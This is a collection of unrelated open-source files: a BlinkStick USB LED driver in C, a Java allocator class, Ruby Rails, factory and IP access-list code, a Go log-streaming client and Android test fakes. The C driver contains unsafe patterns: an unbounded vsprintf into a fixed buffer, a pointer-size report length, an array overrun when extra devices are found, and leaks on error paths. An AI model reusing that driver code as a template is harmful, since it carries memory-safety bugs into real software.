    CoderInfo ( const MagickLib::MagickInfo *magickInfo_ );

  private:

    // Default constructor (not supported)
    CoderInfo ( void );

    // Copy constructor (not supported)
    //    CoderInfo ( const CoderInfo &coder_ );

    // Assignment operator (not supported)
    CoderInfo& operator= (const CoderInfo &coder_ );

    std::string		_name;
    std::string		_description;
    bool		_isReadable;
    bool		_isWritable;
    bool		_isMultiFrame;

  };
} // namespace Magick

//
// Inlines
//

#endif // Magick_CoderInfo_header


text:
bool print_debug = false;

#if _WINDOWS
#pragma warning(disable:4996)
#endif

void debug(const char* fmt, ...) {
  if (print_debug) {
    char buffer[256];
    va_list ap;
    va_start(ap, fmt);
    vsprintf(buffer, fmt, ap);
    va_end(ap);

    puts(buffer);
  }
}

void blinkstick_debug() {
  print_debug = true;
  debug("STARTING LIBBLINKSTICK WITH DEBUG LOGGING");
}

unsigned char* rgb_to_char(int red, int green, int blue) {
  unsigned char* bytes = malloc(sizeof(unsigned char[3]));
  bytes[0] = (red & 0xff);
  bytes[1] = (green & 0xff);
  bytes[2] = (blue & 0xff);

  return bytes;
}

blinkstick_device* blinkstick_factory(hid_device* handle) {
  blinkstick_device* device = malloc(sizeof(blinkstick_device));
  device->handle = handle;
  return device;
}

blinkstick_device** blinkstick_find_many(const int count) {
  blinkstick_device** devices = malloc(sizeof(blinkstick_device*) * count);
  // initialize the devices
  for (int i = 0; i < count; i++)
  {
	  devices[i] = blinkstick_factory(NULL);
  }

  debug("initializing usb context");
  const int res = hid_init();
  if (res != 0) {
    debug("failed to initialize hid");
	return devices;
  }

  struct hid_device_info * device_info =
	  hid_enumerate(BLINKSTICK_VENDOR_ID, BLINKSTICK_PRODUCT_ID);
  if (device_info == NULL)
  {
	  return devices;
  }

  devices[0]->handle = hid_open_path(device_info->path);
  debug("found device: %s", device_info->path);

  int num = 1;
  while ((device_info = device_info->next)) {
    devices[num]->handle = hid_open_path(device_info->path);
    debug("found device: %s", device_info->path);
    num++;
  }

  if (count > num) {
    debug("did not find the number of devices wanted: %d, but found %d\n",
           count, num);
  }

  return devices;
}

blinkstick_device* blinkstick_find() {
  return blinkstick_find_many(1)[0];
}

unsigned char* build_control_message(const int index, const int channel, unsigned char* color, size_t* msg_size) {
  if (!msg_size)
  {
    return NULL;
  }
	// Write to the first LED present
	// this will be the _only_ led for the original blinkstick
    if (index == 0 && channel == 0)
    {
	    unsigned char* msg =
		    malloc(sizeof(unsigned char) * BLINKSTICK_SINGLE_LED_MSG_SIZE);
	    *msg_size = BLINKSTICK_SINGLE_LED_MSG_SIZE;
	    msg[0] = 0x1;
	    msg[1] = color[0];
	    msg[2] = color[1];
	    msg[3] = color[2];
	    return msg;
    }

	// Writing to the other LEDs requires a different payload
	// this changes the write mode (first two bytes) and then
	// assigns the index.
    unsigned char* msg =
	    malloc(sizeof(unsigned char) * BLINKSTICK_INDEXED_LED_MSG_PACKET_SIZE);
    *msg_size = BLINKSTICK_INDEXED_LED_MSG_PACKET_SIZE;
    msg[0] = 0x5;
    msg[1] = channel;
    msg[2] = index;
    msg[3] = color[0];
    msg[4] = color[1];
    msg[5] = color[2];
    return msg;
}

unsigned char* build_mode_message(const int mode) {
	unsigned char* msg =
		malloc(sizeof(unsigned char) * BLINKSTICK_MODE_MSG_SIZE);
	msg[0] = 0x0004;
	msg[1] = mode;
	return msg;
}

bool is_null(blinkstick_device* blinkstick)
{
	return blinkstick->handle == NULL;
}

bool blinkstick_set_mode(blinkstick_device* blinkstick, const enum blinkstick_mode mode) {
	unsigned char* msg = build_mode_message(mode);
	if (is_null(blinkstick))
	{
		debug("input hid handle is null.");
		return false;
	}
	const int result = hid_send_feature_report(blinkstick->handle, msg, sizeof(msg));
	if (result == -1)
	{
		debug("error writing mode to device!");
		return false;
	}
	free(msg);
	return true;
}

enum blinkstick_mode blinkstick_get_mode(blinkstick_device *blinkstick)
{
	unsigned char* data = malloc(sizeof(unsigned char) * 2);
	data[0] = 0x0004;
	const int result = hid_get_feature_report(blinkstick->handle, data, 2);
	if (result == -1)
	{
		debug("error reading mode from device.");
		return unknown;
	}

    const enum blinkstick_mode return_mode = data[1];
	free(data); // cleanup
	return return_mode;
}

bool blinkstick_set_color(blinkstick_device* blinkstick,
                          const int channel,
                          const int index,
                          const int red,
                          const int green,
                          const int blue) {
	if (is_null(blinkstick))
	{
		debug("input hid handle is null.");
		return false;
	}
	unsigned char* color = rgb_to_char(red, green, blue);
	size_t msg_size = 0;
	unsigned char* msg = build_control_message(index, channel, color, &msg_size);
	const int result = hid_send_feature_report(blinkstick->handle, msg, msg_size);
	if (result == -1)
	{
		debug("error writing color to device!");
		return false;
	}
	free(msg);
	free(color);
	return true;
}

int determine_report_id(const int count, int* max_leds)
{
	int report_id = 9;

	if (count <= 8 *3)
	{
		*max_leds = 8;
		report_id = 6;
	}
	else if (count <= 16 * 3)
	{
		*max_leds = 16;
		report_id = 7;
	}
	else if (count <= 32 * 3)
	{
		*max_leds = 32;
		report_id = 8;
	}
	else if (count <= 64 * 3)
	{
		*max_leds = 64;
		report_id = 9;
	}

	return report_id;
}

blinkstick_color* blinkstick_get_color(struct blinkstick_device* blinkstick, const int index)
{
	blinkstick_color *color = malloc(sizeof(blinkstick_color));
	color->red = 0;
	color->green = 0;
	color->blue = 0;

	if (index == 0)
	{
		unsigned char* data = malloc(sizeof(unsigned char) * 33);
		data[0] = 0x0001;
		const int result = hid_get_feature_report(blinkstick->handle,
			data,
			33);
		if (result == -1)
		{
			debug("unable to read color from blinkstick");
		}
		else
		{
			color->red = data[1];
			color->green = data[2];
			color->blue = data[3];
		}
        // free memory
		free(data);
	}
	else
	{
	    const int count = (index + 1) * 3;
		int max_leds;
	    const int report_id = determine_report_id(count, &max_leds);

		unsigned char* data = malloc(sizeof(unsigned char) *
			max_leds * 3 + 2);
		data[0] = report_id;

		const int result = hid_get_feature_report(blinkstick->handle,
			data,
			max_leds * 3 + 2);

		if (result == -1)
		{
			debug("unable to read color from blinkstick.");
		}
		else
		{
			color->red = data[index * 3 + 3];
			color->green = data[index * 3 + 2];
			color->blue = data[index * 3 + 4];
		}
		// free memory
		free(data);
	}
	return color;
}

bool blinkstick_off(blinkstick_device* blinkstick, const int channel, const int index) {
  return blinkstick_set_color(blinkstick, channel, index, 0, 0, 0);
}

void blinkstick_destroy(blinkstick_device* device) {
  hid_close(device->handle);
  free(device);
}


text:
package io.cattle.platform.allocator.service;

import io.cattle.platform.allocator.constraint.Constraint;
import io.cattle.platform.allocator.constraint.IsValidConstraint;
import io.cattle.platform.core.model.Host;
import io.cattle.platform.core.model.Instance;
import io.cattle.platform.core.model.Nic;
import io.cattle.platform.core.model.StoragePool;
import io.cattle.platform.core.model.Subnet;
import io.cattle.platform.core.model.Volume;

import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.UUID;

public class AllocationAttempt {
    String id = UUID.randomUUID().toString();
    Instance instance;

    Set<Host> hosts;
    Set<Long> hostIds;

    Set<Volume> volumes;
    Set<Long> volumeIds;

    Map<Volume, Set<StoragePool>> pools;
    Map<Long, Set<Long>> poolIds;

    Set<Nic> nics;
    Set<Long> nicIds;

    Map<Nic, Subnet> subnets;
    Map<Long,Long> subnetIds;

    List<Constraint> constraints = new ArrayList<Constraint>();
    List<AllocationCandidate> candidates = new ArrayList<AllocationCandidate>();
    AllocationCandidate matchedCandidate;

    public AllocationAttempt(Instance instance, Set<Host> hosts,
            Set<Volume> volumes, Map<Volume, Set<StoragePool>> pools,
            Set<Nic> nics, Map<Nic, Subnet> subnets) {
        super();
        this.instance = instance;
        this.hosts = hosts;
        this.volumes = volumes;
        this.pools = pools;
        this.nics = nics;
        this.subnets = subnets == null ? Collections.<Nic, Subnet>emptyMap() : subnets;

        this.hostIds = new HashSet<Long>(hosts.size());
        for ( Host h : hosts ) {
            this.hostIds.add(h.getId());
        }

        this.volumeIds = new HashSet<Long>(volumes.size());
        this.poolIds = new HashMap<Long, Set<Long>>();
        for ( Volume v : volumes ) {
            this.volumeIds.add(v.getId());
            Set<StoragePool> storagePools = pools.get(v);

            if ( storagePools != null ) {
                Set<Long> poolIds = new HashSet<Long>(storagePools.size());
                for ( StoragePool pool : storagePools ) {
                    poolIds.add(pool.getId());
                }
                this.poolIds.put(v.getId(), poolIds);
            }
        }

        if ( nics == null ) {
            this.nics = Collections.emptySet();
            this.nicIds = Collections.emptySet();
            this.subnetIds = Collections.emptyMap();
        } else {
            this.nicIds = new HashSet<Long>(subnets.size());
            this.subnetIds = new HashMap<Long, Long>();
            for ( Nic n : nics ) {
                this.nicIds.add(n.getId());

                Subnet subnet = this.subnets.get(n);
                if ( subnet != null ) {
                    this.subnetIds.put(n.getId(), subnet.getId());
                }
            }
        }

        constraints.add(new IsValidConstraint());
    }

    public Instance getInstance() {
        return instance;
    }

    public Long getInstanceId() {
        return instance == null ? null : instance.getId();
    }

    public Set<Host> getHosts() {
        return hosts;
    }

    public Set<Volume> getVolumes() {
        return volumes;
    }

    public Map<Volume, Set<StoragePool>> getPools() {
        return pools;
    }

    public List<Constraint> getConstraints() {
        return constraints;
    }

    public String getId() {
        return id;
    }

    public void setId(String id) {
        this.id = id;
    }

    public void setInstance(Instance instance) {
        this.instance = instance;
    }

    public void setHosts(Set<Host> hosts) {
        this.hosts = hosts;
    }

    public void setVolumes(Set<Volume> volumes) {
        this.volumes = volumes;
    }

    public void setPools(Map<Volume, Set<StoragePool>> pools) {
        this.pools = pools;
    }

    public void setConstraints(List<Constraint> constraints) {
        this.constraints = constraints;
    }

    public List<AllocationCandidate> getCandidates() {
        return candidates;
    }

    public void setCandidates(List<AllocationCandidate> candidates) {
        this.candidates = candidates;
    }

    public AllocationCandidate getMatchedCandidate() {
        return matchedCandidate;
    }

    public void setMatchedCandidate(AllocationCandidate matchedCandidate) {
        this.matchedCandidate = matchedCandidate;
    }

    public Set<Long> getHostIds() {
        return hostIds;
    }

    public void setHostIds(Set<Long> hostIds) {
        this.hostIds = hostIds;
    }

    public Set<Long> getVolumeIds() {
        return volumeIds;
    }

    public void setVolumeIds(Set<Long> volumeIds) {
        this.volumeIds = volumeIds;
    }

    public Map<Long, Set<Long>> getPoolIds() {
        return poolIds;
    }

    public void setPoolIds(Map<Long, Set<Long>> poolIds) {
        this.poolIds = poolIds;
    }

    public Set<Nic> getNics() {
        return nics;
    }

    public void setNics(Set<Nic> nics) {
        this.nics = nics;
    }

    public Set<Long> getNicIds() {
        return nicIds;
    }

    public void setNicIds(Set<Long> nicIds) {
        this.nicIds = nicIds;
    }

    public Map<Nic, Subnet> getSubnets() {
        return subnets;
    }

    public void setSubnets(Map<Nic, Subnet> subnets) {
        this.subnets = subnets;
    }

    public Map<Long, Long> getSubnetIds() {
        return subnetIds;
    }

    public void setSubnetIds(Map<Long, Long> subnetIds) {
        this.subnetIds = subnetIds;
    }

}


text:
require 'sleeping_king_studios/tools/toolbelt'

require 'bronze/rails/resources'
require 'bronze/rails/resources/resource_builder'

module Bronze::Rails::Resources
  # Object representing a Rails resource. Provides methods to query properties
  # such as resourceful routes and template paths.
  class Resource # rubocop:disable Metrics/ClassLength
    # @param resource_class [Class] The base class representing instances of
    #   the resource.
    # @param resource_options [Hash] Additional options for the resource.
    def initialize resource_class, resource_options = {}, &block
      @resource_class   = resource_class
      @resource_options = tools.hash.convert_keys_to_symbols(resource_options)
      @namespaces       = []

      return unless block

      builder = Bronze::Rails::Resources::ResourceBuilder.new(self)
      builder.instance_exec(&block) if block
    end # constructor

    # @return [Array<Hash>] The parent resources and/or namespaces, from
    #   outermost to innermost. Each hash should have a :name value, a :type
    #   value with a value of either :namespace or :resource, and optionally a
    #   :resource value with a resource definition for the parent resource.
    attr_reader :namespaces

    # @return [Class] The base class representing instances of the resource.
    attr_reader :resource_class

    # @return [Hash] Additional options for the resource.
    attr_reader :resource_options

    # @see #association_key
    #
    # @return [Symbol] The association name.
    def association_key
      association_name.intern
    end # method association_key
    alias_method :parent_key, :association_key

    # The name of the association, relative to the child resource.
    #
    # @return [String] The association name.
    def association_name
      @resource_options.fetch(:association_name, singular_resource_name).to_s
    end # method association_name
    alias_method :parent_name, :association_name

    # The collection or table name used to persist the resource.
    #
    # @return [String] The collection name.
    def collection_name
      @collection_name ||=
        if @resource_options.key?(:collection_name)
          @resource_options.fetch(:collection_name).to_s
        else
          tools.string.pluralize(qualified_resource_name)
        end # if-else
    end # method collection_name

    # The name of the controller for the resource in underscored format.
    #
    # @return [String] The controller name.
    def controller_name
      @controller_name ||=
        if @resource_options.key?(:controller_name)
          tools.string.underscore(@resource_options.fetch(:controller_name)).
            sub(/_controller\z/, '')
        else
          plural_resource_name
        end # if-else
    end # method controller_name

    # @return [Symbol] The default short name of the resource as a plural,
    #   underscore-separated symbol. The default name is based on the name of
    #   the resource class.
    #
    # @see #resource_key
    def default_resource_key
      default_resource_name.intern
    end # method default_resource_key
    alias_method :default_plural_resource_key, :default_resource_key

    # @return [String] The default short name of the resource as a plural,
    #   underscore-separated string. The default name is based on the name of
    #   the resource class.
    #
    # @see #resource_name
    def default_resource_name
      @default_resource_name ||=
        tools.string.chain(
          @resource_class.name.split('::').last,
          :underscore,
          :pluralize
        ) # end chain
    end # method default_resource_name
    alias_method :default_plural_resource_name, :default_resource_name

    # @return [Symbol] The default short name of the resource as a singular,
    #   underscore-separated symbol. The default name is based on the name of
    #   the resource class.
    #
    # @see #default_resource_key
    def default_singular_resource_key
      default_singular_resource_name.intern
    end # method default_resource_key

    # @return [String] The default short name of the resource as a singular,
    #   underscore-separated string. The default name is based on the name of
    #   the resource class.
    #
    # @see #default_resource_name
    def default_singular_resource_name
      @default_singular_resource_name ||=
        tools.string.chain(
          @resource_class.name.split('::').last,
          :underscore,
          :singularize
        ) # end chain
    end # method default_resource_name

    # The foreign key of the association from the root resource.
    #
    # @return [Symbol] The foreign key.
    def foreign_key
      @resource_options.fetch :foreign_key,
        :"#{tools.string.singularize association_name}_id"
    end # method foreign_keys

    # @see #namespaces
    #
    # @return [Array<Resource>] The parent resource definitions.
    def parent_resources
      namespaces.
        select { |hsh| hsh[:type] == :resource }.
        map { |hsh| hsh[:resource] }
    end # method parent_resources

    # The primary key of the resource.
    #
    # @return [Symbol] The primary key.
    def primary_key
      @resource_options.fetch :primary_key, :"#{singular_resource_name}_id"
    end # method primary_key

    # The full name of the resource in a standardized, hyphen- and
    # underscore-separated form.
    #
    # @return [String] The qualified name.
    def qualified_resource_name
      @qualified_resource_name ||=
        begin
          @resource_class.name.split('::').map do |str|
            tools.string.underscore(str)
          end.join('-')
        end # name
    end # method qualified_resource_name

    # @return [Symbol] The short name of the resource as a plural,
    #   underscore-separated symbol.
    def resource_key
      resource_name.intern
    end # method resource_key
    alias_method :plural_resource_key, :resource_key

    # @return [String] The short name of the resource as a plural,
    #   underscore-separated string.
    def resource_name
      @resource_name ||=
        tools.string.chain(
          @resource_options.fetch(:resource_name) do
            resource_class.name.split('::').last
          end, # end fetch
          :underscore,
          :pluralize
        ) # end chain
    end # method resource_name
    alias_method :plural_resource_name, :resource_name

    # @return [Boolean] True if the name of the resource has been customized
    #   via a configuration option, otherwise false.
    def resource_name_changed?
      plural_resource_name != default_plural_resource_name ||
        singular_resource_name != default_singular_resource_name
    end # method resource_name_changed?

    # @return [String] The plural key to use when serializing a collection of
    #   the resource, such as in a JSON envelope or an error key.
    def serialization_key
      @serialization_key ||=
        if @resource_options.key?(:serialization_key)
          tools.string.chain(
            @resource_options.fetch(:serialization_key),
            :underscore,
            :pluralize
          ).intern
        else
          resource_key
        end # if
    end # method serialization_key
    alias_method :plural_serialization_key, :serialization_key

    # @return [Boolean] True if the serialization key of the resource has been
    #   customized via a configuration option, otherwise false.
    def serialization_key_changed?
      plural_serialization_key != default_plural_resource_key ||
        singular_serialization_key != default_singular_resource_key
    end # method serialization_key_changed?

    # @return [String] The short name of the resource as a singular,
    #   underscore-separated string.
    def singular_resource_key
      singular_resource_name.intern
    end # method singular_resource_name

    # @return [String] The short name of the resource as a singular,
    #   underscore-separated string.
    def singular_resource_name
      @singular_resource_name ||=
        if @resource_options.key?(:singular_resource_name)
          tools.string.underscore(
            @resource_options.fetch(:singular_resource_name)
          ) # end underscore
        else
          tools.string.singularize(plural_resource_name)
        end # if-else
    end # method singular_resource_name

    # @return [String] The singular key to use when serializing an instance of
    #   the resource, such as in a JSON envelope or an error key.
    def singular_serialization_key
      @singular_serialization_key ||=
        if @resource_options.key?(:singular_serialization_key)
          tools.string.underscore(
            @resource_options.fetch(:singular_serialization_key)
          ).intern
        elsif @resource_options.key?(:serialization_key)
          tools.string.singularize(plural_serialization_key).intern
        else
          singular_resource_key
        end # if-elsif-else
    end # method singular_serialization_key

    private

    def tools
      SleepingKingStudios::Tools::Toolbelt.instance
    end # method tools
  end # class
end # module


text:
require 'hashie'
require 'faker'

FactoryGirl.define do

  factory :data_com_contacts_response, class: Hashie::Mash do
    unrecognized              { Hashie::Mash.new('contactId' => []) }
    pointsUsed                { Faker::Number.number(2).to_i        }
    totalHits                 { Faker::Number.number(2).to_i        }
    numberOfContactsPurchased { Faker::Number.number(2).to_i        }
    pointBalance              { Faker::Number.number(4).to_i        }
    contacts                  nil

    ignore do
      contacts_size 2
    end

    initialize_with { new(attributes) }

    after(:build) do |data_com_contacts_response, evaluator|
      unless data_com_contacts_response[:contacts]
        data_com_contacts_response[:contacts] = FactoryGirl.build_list(
          :data_com_contact,
          evaluator.contacts_size
        )
      end
    end
  end

end


text:
require 'ipaddr'

##
# Simple Access Control Lists.
#
# Access control lists are composed of "allow" and "deny" halves to control
# access.  Use "all" or "*" to match any address.  To match a specific address
# use any address or address mask that IPAddr can understand.
#
# Example:
#
#   list = %w[
#     deny all
#     allow 192.168.1.1
#     allow ::ffff:192.168.1.2
#     allow 192.168.1.3
#   ]
#
#   # From Socket#peeraddr, see also ACL#allow_socket?
#   addr = ["AF_INET", 10, "lc630", "192.168.1.3"]
#
#   acl = ACL.new
#   p acl.allow_addr?(addr) # => true
#
#   acl = ACL.new(list, ACL::DENY_ALLOW)
#   p acl.allow_addr?(addr) # => true

class ACL

  ##
  # The current version of ACL

  VERSION=["2.0.0"]

  ##
  # An entry in an ACL

  class ACLEntry

    ##
    # Creates a new entry using +str+.
    #
    # +str+ may be "*" or "all" to match any address, an IP address string
    # to match a specific address, an IP address mask per IPAddr, or one
    # containing "*" to match part of an IPv4 address.

    def initialize(str)
      if str == '*' or str == 'all'
        @pat = [:all]
      elsif str.include?('*')
        @pat = [:name, dot_pat(str)]
      else
        begin
          @pat = [:ip, IPAddr.new(str)]
        rescue ArgumentError
          @pat = [:name, dot_pat(str)]
        end
      end
    end

    private

    ##
    # Creates a regular expression to match IPv4 addresses

    def dot_pat_str(str)
      list = str.split('.').collect { |s|
        (s == '*') ? '.+' : s
      }
      list.join("\\.")
    end

    private

    ##
    # Creates a Regexp to match an address.

    def dot_pat(str)
      exp = "^" + dot_pat_str(str) + "$"
      Regexp.new(exp)
    end

    public

    ##
    # Matches +addr+ against this entry.

    def match(addr)
      case @pat[0]
      when :all
        true
      when :ip
        begin
          ipaddr = IPAddr.new(addr[3])
          ipaddr = ipaddr.ipv4_mapped if @pat[1].ipv6? && ipaddr.ipv4?
        rescue ArgumentError
          return false
        end
        (@pat[1].include?(ipaddr)) ? true : false
      when :name
        (@pat[1] =~ addr[2]) ? true : false
      else
        false
      end
    end
  end

  ##
  # A list of ACLEntry objects.  Used to implement the allow and deny halves
  # of an ACL

  class ACLList

    ##
    # Creates an empty ACLList

    def initialize
      @list = []
    end

    public

    ##
    # Matches +addr+ against each ACLEntry in this list.

    def match(addr)
      @list.each do |e|
        return true if e.match(addr)
      end
      false
    end

    public

    ##
    # Adds +str+ as an ACLEntry in this list

    def add(str)
      @list.push(ACLEntry.new(str))
    end

  end

  ##
  # Default to deny

  DENY_ALLOW = 0

  ##
  # Default to allow

  ALLOW_DENY = 1

  ##
  # Creates a new ACL from +list+ with an evaluation +order+ of DENY_ALLOW or
  # ALLOW_DENY.
  #
  # An ACL +list+ is an Array of "allow" or "deny" and an address or address
  # mask or "all" or "*" to match any address:
  #
  #   %w[
  #     deny all
  #     allow 192.0.2.2
  #     allow 192.0.2.128/26
  #   ]

  def initialize(list=nil, order = DENY_ALLOW)
    @order = order
    @deny = ACLList.new
    @allow = ACLList.new
    install_list(list) if list
  end

  public

  ##
  # Allow connections from Socket +soc+?

  def allow_socket?(soc)
    allow_addr?(soc.peeraddr)
  end

  public

  ##
  # Allow connections from addrinfo +addr+?  It must be formatted like
  # Socket#peeraddr:
  #
  #   ["AF_INET", 10, "lc630", "192.0.2.1"]

  def allow_addr?(addr)
    case @order
    when DENY_ALLOW
      return true if @allow.match(addr)
      return false if @deny.match(addr)
      return true
    when ALLOW_DENY
      return false if @deny.match(addr)
      return true if @allow.match(addr)
      return false
    else
      false
    end
  end

  public

  ##
  # Adds +list+ of ACL entries to this ACL.

  def install_list(list)
    i = 0
    while i < list.size
      permission, domain = list.slice(i,2)
      case permission.downcase
      when 'allow'
        @allow.add(domain)
      when 'deny'
        @deny.add(domain)
      else
        raise "Invalid ACL entry #{list}"
      end
      i += 2
    end
  end

end


text:
package loggregator

import (
	"bufio"
	"bytes"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"strings"
	"time"

	"code.cloudfoundry.org/go-loggregator/rpc/loggregator_v2"
	"github.com/golang/protobuf/jsonpb"
	"golang.org/x/net/context"
)

type RLPGatewayClient struct {
	addr string
	log  *log.Logger
	doer Doer
}

func NewRLPGatewayClient(addr string, opts ...RLPGatewayClientOption) *RLPGatewayClient {
	c := &RLPGatewayClient{
		addr: addr,
		log:  log.New(ioutil.Discard, "", 0),
		doer: http.DefaultClient,
	}

	for _, o := range opts {
		o(c)
	}

	return c
}

// RLPGatewayClientOption is the type of a configurable client option.
type RLPGatewayClientOption func(*RLPGatewayClient)

// WithRLPGatewayClientLogger returns a RLPGatewayClientOption to configure
// the logger of the RLPGatewayClient. It defaults to a silent logger.
func WithRLPGatewayClientLogger(log *log.Logger) RLPGatewayClientOption {
	return func(c *RLPGatewayClient) {
		c.log = log
	}
}

// WithRLPGatewayClientLogger returns a RLPGatewayClientOption to configure
// the HTTP client. It defaults to the http.DefaultClient.
func WithRLPGatewayHTTPClient(d Doer) RLPGatewayClientOption {
	return func(c *RLPGatewayClient) {
		c.doer = d
	}
}

// Doer is used to make HTTP requests to the RLP Gateway.
type Doer interface {
	// Do is a implementation of the http.Client's Do method.
	Do(*http.Request) (*http.Response, error)
}

// Stream returns a new EnvelopeStream for the given context and request. The
// lifecycle of the EnvelopeStream is managed by the given context. If the
// underlying SSE stream dies, it attempts to reconnect until the context
// is done. Any errors are logged via the client's logger.
func (c *RLPGatewayClient) Stream(ctx context.Context, req *loggregator_v2.EgressBatchRequest) EnvelopeStream {
	es := make(chan *loggregator_v2.Envelope, 100)
	go func() {
		defer close(es)
		for ctx.Err() == nil {
			c.connect(ctx, es, req)
		}
	}()

	return func() []*loggregator_v2.Envelope {
		var batch []*loggregator_v2.Envelope
		for {
			select {
			case <-ctx.Done():
				return nil
			case e, ok := <-es:
				if !ok {
					return nil
				}
				batch = append(batch, e)
			default:
				if len(batch) > 0 {
					return batch
				}

				time.Sleep(50 * time.Millisecond)
			}
		}
	}
}

func (c *RLPGatewayClient) connect(
	ctx context.Context,
	es chan<- *loggregator_v2.Envelope,
	logReq *loggregator_v2.EgressBatchRequest,
) {
	readAddr := fmt.Sprintf("%s/v2/read%s", c.addr, c.buildQuery(logReq))

	req, err := http.NewRequest(http.MethodGet, readAddr, nil)
	if err != nil {
		c.log.Panicf("failed to build request %s", err)
	}
	req.Header.Set("Accept", "text/event-stream")
	req.Header.Set("Cache-Control", "no-cache")

	resp, err := c.doer.Do(req.WithContext(ctx))
	if err != nil {
		c.log.Printf("error making request: %s", err)
		return
	}

	defer func() {
		io.Copy(ioutil.Discard, resp.Body)
		resp.Body.Close()
	}()

	if resp.StatusCode != http.StatusOK {
		body, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			c.log.Printf("failed to read body: %s", err)
			return
		}
		c.log.Printf("unexpected status code %d: %s", resp.StatusCode, body)
		return
	}

	buf := bytes.NewBuffer(nil)
	reader := bufio.NewReader(resp.Body)
	for {
		line, err := reader.ReadBytes('\n')
		if err != nil {
			c.log.Printf("failed while reading stream: %s", err)
			return
		}

		switch {
		case bytes.HasPrefix(line, []byte("heartbeat: ")):
			// TODO: Remove this old case
			continue
		case bytes.HasPrefix(line, []byte("event: closing")):
			return
		case bytes.HasPrefix(line, []byte("event: heartbeat")):
			// Throw away the data of the heartbeat event and the next
			// newline.
			_, _ = reader.ReadBytes('\n')
			_, _ = reader.ReadBytes('\n')
			continue
		case bytes.HasPrefix(line, []byte("data: ")):
			buf.Write(line[len("data: "):])
		case bytes.Equal(line, []byte("\n")):
			if buf.Len() == 0 {
				continue
			}

			var eb loggregator_v2.EnvelopeBatch
			if err := jsonpb.Unmarshal(buf, &eb); err != nil {
				c.log.Printf("failed to unmarshal envelope: %s", err)
				continue
			}

			for _, e := range eb.Batch {
				select {
				case <-ctx.Done():
					return
				case es <- e:
				}
			}
		}

	}
}

func (c *RLPGatewayClient) buildQuery(req *loggregator_v2.EgressBatchRequest) string {
	var query []string
	if req.GetShardId() != "" {
		query = append(query, "shard_id="+req.GetShardId())
	}

	if req.GetDeterministicName() != "" {
		query = append(query, "deterministic_name="+req.GetDeterministicName())
	}

	for _, selector := range req.GetSelectors() {
		if selector.GetSourceId() != "" {
			query = append(query, "source_id="+selector.GetSourceId())
		}

		switch selector.Message.(type) {
		case *loggregator_v2.Selector_Log:
			query = append(query, "log")
		case *loggregator_v2.Selector_Counter:
			if selector.GetCounter().GetName() != "" {
				query = append(query, "counter.name="+selector.GetCounter().GetName())
				continue
			}
			query = append(query, "counter")
		case *loggregator_v2.Selector_Gauge:
			if len(selector.GetGauge().GetNames()) > 1 {
				// TODO: This is a mistake in the gateway.
				panic("This is not yet supported")
			}

			if len(selector.GetGauge().GetNames()) != 0 {
				query = append(query, "gauge.name="+selector.GetGauge().GetNames()[0])
				continue
			}
			query = append(query, "gauge")
		case *loggregator_v2.Selector_Timer:
			query = append(query, "timer")
		case *loggregator_v2.Selector_Event:
			query = append(query, "event")
		}
	}

	namedCounter := containsPrefix(query, "counter.name")
	namedGauge := containsPrefix(query, "gauge.name")

	if namedCounter {
		query = filter(query, "counter")
	}

	if namedGauge {
		query = filter(query, "gauge")
	}

	query = removeDuplicateSourceIDs(query)
	if len(query) == 0 {
		return ""
	}

	return "?" + strings.Join(query, "&")
}

func removeDuplicateSourceIDs(query []string) []string {
	sids := map[string]bool{}
	duplicates := 0
	for i, j := 0, 0; i < len(query); i++ {
		if strings.HasPrefix(query[i], "source_id=") && sids[query[i]] {
			// Duplicate source ID
			duplicates++
			continue
		}
		sids[query[i]] = true
		query[j] = query[i]
		j++
	}

	return query[:len(query)-duplicates]
}

func containsPrefix(arr []string, prefix string) bool {
	for _, i := range arr {
		if strings.HasPrefix(i, prefix) {
			return true
		}
	}
	return false
}

func filter(arr []string, target string) []string {
	var filtered []string
	for _, i := range arr {
		if i != target {
			filtered = append(filtered, i)
		}
	}
	return filtered
}


text:
package com.example.android.architecture.blueprints.todoapp.data;

import android.support.annotation.NonNull;
import android.support.annotation.VisibleForTesting;

import com.example.android.architecture.blueprints.todoapp.data.source.TasksDataSource;
import com.google.common.base.Optional;

import java.util.Collection;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;

import io.reactivex.Flowable;

/**
 * Implementation of a remote data source with static access to the data for easy testing.
 */
public class FakeTasksRemoteDataSource implements TasksDataSource {

    private static FakeTasksRemoteDataSource INSTANCE;

    private static final Map<String, Task> TASKS_SERVICE_DATA = new LinkedHashMap<>();

    // Prevent direct instantiation.
    private FakeTasksRemoteDataSource() {
    }

    public static FakeTasksRemoteDataSource getInstance() {
        if (INSTANCE == null) {
            INSTANCE = new FakeTasksRemoteDataSource();
        }
        return INSTANCE;
    }

    @Override
    public Flowable<List<Task>> getTasks() {
        Collection<Task> values = TASKS_SERVICE_DATA.values();
        return Flowable.fromIterable(values).toList().toFlowable();
    }

    @Override
    public Flowable<Optional<Task>> getTask(@NonNull String taskId) {
        Task task = TASKS_SERVICE_DATA.get(taskId);
        return Flowable.just(Optional.of(task));
    }

    @Override
    public void saveTask(@NonNull Task task) {
        TASKS_SERVICE_DATA.put(task.getId(), task);
    }

    @Override
    public void completeTask(@NonNull Task task) {
        Task completedTask = new Task(task.getTitle(), task.getDescription(), task.getId(), true);
        TASKS_SERVICE_DATA.put(task.getId(), completedTask);
    }

    @Override
    public void completeTask(@NonNull String taskId) {
        Task task = TASKS_SERVICE_DATA.get(taskId);
        Task completedTask = new Task(task.getTitle(), task.getDescription(), task.getId(), true);
        TASKS_SERVICE_DATA.put(taskId, completedTask);
    }

    @Override
    public void activateTask(@NonNull Task task) {
        Task activeTask = new Task(task.getTitle(), task.getDescription(), task.getId());
        TASKS_SERVICE_DATA.put(task.getId(), activeTask);
    }

    @Override
    public void activateTask(@NonNull String taskId) {
        Task task = TASKS_SERVICE_DATA.get(taskId);
        Task activeTask = new Task(task.getTitle(), task.getDescription(), task.getId());
        TASKS_SERVICE_DATA.put(taskId, activeTask);
    }

    @Override
    public void clearCompletedTasks() {
        Iterator<Map.Entry<String, Task>> it = TASKS_SERVICE_DATA.entrySet().iterator();
        while (it.hasNext()) {
            Map.Entry<String, Task> entry = it.next();
            if (entry.getValue().isCompleted()) {
                it.remove();
            }
        }
    }

    public void refreshTasks() {
        // Not required because the {@link TasksRepository} handles the logic of refreshing the
